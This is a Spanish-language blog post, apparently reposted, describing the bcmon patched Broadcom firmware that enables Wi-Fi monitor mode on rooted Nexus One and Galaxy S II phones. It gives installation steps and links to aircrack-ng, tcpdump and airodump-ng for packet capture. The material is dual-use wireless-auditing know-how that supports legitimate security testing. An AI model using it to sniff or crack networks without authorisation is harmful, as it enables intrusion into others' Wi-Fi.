Pero un grupo de investigadores decidieron pasar sus vacaciones viendo la forma de añadir el modo monitor a sus Android (Nexus One y Galaxy S II). En un primer momento compilaron el controlador en modo depuración y se dieron cuenta que el modulo elimina los encabezados 801.11 en Hw, con la cual concluyeron que se necesita hacer un cambio de firmware en sus dispositivos android, así que empezaron a hacerle ingeniería inversa al firmware y después de unas semanas obtuvieron una compresión decente de la recepción de paquetes en el proceso, con lo cual sacaron su primer firmware con el modo monitor añadido.

Actualmente tienen un firmware parcheado para los siguientes chipsets:

- BCM4329 (Android Nexus One)
- bcm4330 (Android Galaxy S II)

Si disponemos de uno de los modelos de Android descritos anteriormente, es más probable que funcione esos firmwares, pero las pruebas han sido hechas con la ROM Cyanogen 7 y Cyanogen 9, que son unas roms personalizadas y que han tenido una aceptable aprobación entre las personas que usan dispositivos Android por su estabilidad.

Instalación del firmware:

- Es necesario ser usuarios "root" en nuestro Android.
- (Opcional) Tener la rom Cyanogen en nuestro Android.
- Descargar el firmware para Android Nexus One ó para Android Galaxy S II
- Extraer el Archivo .zip en su dispositivo android (por ejemplo en su sdcard)
- Ejecutar 'sh setup.sh' en un terminal (como adb ssh, SManager, etc.)
- Ahora debemos tener una interfaz eth0 (Nexus One) ó wlan0 (Galaxy S II) en modo monitor.
- Ahora ejecutar 'iwconfig eth0' ó 'iwconfig wlan0' y obtendremos un resultado como esto:

eth0  IEEE 802.11-DS  ESSID:""  Nickname:""
          Mode:Monitor  Frequency:2.412 GHz  Access Point: Not-Associated
          Bit Rate:72 Mb/s   Tx-Power:32 dBm
          Retry min limit:7   RTS thr:off   Fragment thr:off
          Encryption key:off
          Power Managementmode:All packets received
          Link Quality=5/5  Signal level=0 dBm  Noise level=-92 dBm
          Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
          Tx excessive retries:0  Invalid misc:0   Missed beacon:0

Y para la instalación del firmware en otros dispositivos Android:

- Dar un vistazo al código fuente http://code.google.com/p/bcmon/source/checkout
- Desarrollar el archivo .ko para nuestro dispositivo (en la wiki Cyanogen nos debería ayudar)
- Seguir los pasos de instalación para Nexus One ó Galaxy S II

Los archivos binarios de AirCrack

- aircrack-ng suite
- tcpdump
- iwconfig
- aircrack-static(para poder utilizar comandos como 'airodump-ng -i eth0'

Descargarlo de http://bcmon.googlecode.com/svn/trunk/bundles/utils.zip
Aerodump en ejecución en el Nexus One
Eso es todo, ¡a probar!, eso sí, no me responsabilizo por los daños o fallos que le puedan ocurrir a sus dispositivos Android, háganlo bajo su responsabilidad.

Para mayor información http://bcmon.blogspot.com/
 
Fuente: http://www.hackplayers.com/2012/11/crackea-redes-wifi-con-tu-androiden.html